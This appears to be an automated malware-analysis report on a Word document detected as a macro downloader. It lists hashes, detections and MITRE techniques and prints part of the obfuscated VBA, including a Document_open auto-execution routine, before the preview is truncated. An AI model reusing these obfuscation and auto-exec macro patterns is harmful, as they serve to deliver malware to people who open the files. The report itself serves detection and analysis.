Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 51769ec4d4a32038…

MALICIOUS

Office (OLE)

203.9 KB Created: 2019-12-20 06:47:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a8dc44947bd032f268d21bd54f915fc2 SHA-1: ff69e8d5fda8e2253cdd73cd35e5f53036173ca9 SHA-256: 51769ec4d4a32038ae94386128813f3d8d3f9b4e5abd02e596758ca9e2fc69bd
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file contains VBA macros, including a Document_Open auto-execution routine, which is a common technique for malware delivery. The presence of a GetObject call and the ClamAV detection as 'Doc.Downloader.Generic-7469262-0' strongly suggest that this document is designed to download and execute a secondary payload. The specific VBA code is heavily obfuscated, preventing a detailed analysis of its exact actions, but the overall pattern indicates a malicious downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-7469262-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7469262-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13063 bytes
SHA-256: 4bc68be9c2fca5d56d9f715a70f7fab5a0ed833679ed8c1786794d7a14e97821
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fwbejxmnpj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Vkzimturjeenc, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Igsepqmehcbg As Double
Dim Rdtprsexwwvk As Boolean
Ieoffsnrpvso = Jelhfrhtsx
Nlkwjelqvc = (Ahgaoxxcdsnsk)
Nnpmqzueb = 814
Dim Mocxrhqphxkh As String
Achvyrlwyxdg = "Vitae nemo."
Dim Wfcftvljagafc As Double
Dim Hdgkrpxnj As Boolean
Dim Hqpetkrstbu As Boolean
Jjrbbuspqpq = (329)
Dim Wzhystcfnutvm As String
Dim Jbemysahxvm As Double
Zqazkworku = Civpygpe
Dim Pldvevrkc As String
Dim Rfwuukpbw As Boolean
Dim Ulvkeszpx As Double
Sbovorsza = (Wlcyuevz)
Hirsauqzk = ("Voluptas dicta voluptas eveniet velit quia.")
Vlnvfywxjw = (Qpkhgxvtxhz)
Dim Xdnxbaqfubzp As Integer
Fzbtkiuacqm = Otlnmbbh
Hbxnnickfa
   Dim Ypfkuntosohqg As Boolean
Dim Uuwuwqrisaix As Boolean
Smhocapyki = Yaxkzbgit
Vtihhnjlqpf = (Abeudvjo)
Rqlhbgrvqsv = 161
Dim Utilawyttzwk As Integer
Lexpcofqqvfif = "Et aut dolorem."
Dim Oifofkbvkjri As String
Dim Qoxcjgrscsxpd As Boolean
Dim Frrzaerrws As Double
Jnglglszhi = (175)
Dim Sbwfmqqhyiera As Double
Dim Uyxakwwhevhr As String
Dfxlugyhme = Flajplxr
Dim Khvawtrk As String
Dim Mwvdgffbvmmsu As Boolean
Dim Khvgwtmmcvp As Integer
Keqczgpjqxck = (Wlormmjlmveig)
Siqokrqwks = ("Annie")
Gujtvqwpandd = (Yruyraozxp)
Dim Vefpezyscrcb As Boolean
Jkifenkztzbm = Ehwuiausklj
End Sub

Attribute VB_Name = "Camxdyzasov"
Attribute VB_Base = "0{68A08007-2EAE-489F-919A-1C699FE87B53}{A0DE910C-662B-4B56-98C9-1ADFD1F10E64}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zohvecnk"
Function Aqxdtbyhiyvx()
   Dim Qgrtpykc As Double
Dim Whtrphlwlmia As String
Hjjrvjsswb = Fnlyuonnuoq
Ahnferqqilfo = (Maelslzcx)
Sunbottvwub = 609
Dim Skqzxbfjag As Integer
Qcydvyjbsl = "Soluta voluptatem sed accusantium dolorum est distinctio labore et maxime."
Dim Ptsmtwmk As Integer
Dim Tiuzewfdrnmp As Double
Dim Urbwrdugnnk As Integer
Tpeuprzjqi = (865)
Dim Nwotjqzvbrbv As Boolean
Dim Rxmvhoanlont As Integer
Yhejfcehfndxk = Bnjewzcwv
Dim Tzkafptcx As Integer
Dim Sqnokrzrkds As Boolean
Dim Aepzywkjix As String
Wfhndilmo = (Qipkxdqebraa)
Tdajeksd = ("Placeat voluptatibus natus.")
Mrdgugvvfly = (Mnfrtinveg)
Dim Ekcjlamzax As Boolean
Jjuwfupb = Ovysyvvthlqw
Usapwstupbld = Fwbejxmnpj.Vkzimturjeenc
   Dim Jzerzexnxts As Double
Dim Vwkayxoxqsfp As Double
Sheqirwlow = Rxctseirazn
Uupshycsuegs = (Jyjioskfru)
Bgpjstivowhsh = 135
Dim Vxsvaquzt As Double
Ydlpduvhxvc = "At dolorem asperiores facere."
Dim Njhvmrrbrn As String
Dim Yywjhhwtb As String
Dim Kytmxzajt As Double
Iriymbyph = (207)
Dim Hfvyxqogrjsdw As String
Dim Eucrdvurqfai As Integer
Ummpnroqycjv = Xpnmbtxenqmbn
Dim Twhtlxxgo As Integer
Dim Fnwzhiiyt As Double
Dim Ohaxpzwdleal As Double
Cbayzjzdw = (Injdsotebi)
Ohxkkxbecrue = ("Clay")
Aurslkloh = (Atpghcxchm)
Dim Zogvjhqt As Integer
Lozmjwphaalxk = Yupwczujrs
Cinneipqscq = Usapwstupbld + Camxdyzasov.Ompxvrkfqlvl + Camxdyzasov.Ydootfwvx + Camxdyzasov.Oiuvdbgtedkjs
   Dim Myfyslebmximg As Double
Dim Ntoytxjyf As Double
Ajldeoleezyh = Lttkiirwfw
Vozcaajxk = (Jsubcyhplpp)
Qnwgdeep = 659
Dim Tweczxyayqdjs As Boolean
Oxyghrfgv = "Garrett"
Dim Dcugqazvafx As Boolean
Dim Rmprqahvi As String
Dim Ggjcgnpjrlu As String
Racjwnbrb = (172)
Dim Ucopudsvcfz As Boolean
Dim Xpmpnewxqizq As String
Yuyxfquhezzpn = Uaspkmhbmdwtr
Dim Ozvgtbdhuuxq As String
Dim Pyrdxwigbol As String
Dim Muixdcklathz As Integer
Syvmwvnwefp = (Lhyhucirn)
Unacofkeafpig = ("Reiciendis cumque.")
Vfpqchjtzdc = (Wpyfmxsivl)
Dim Vktcvzrgfgdbx As Double
Ktaymsxikhk = Igathqgxq
Tuimwnybwuiad = Cinneipqscq + Camxdyzasov.Vwczvberfmi + Camxdyzasov
... (truncated)

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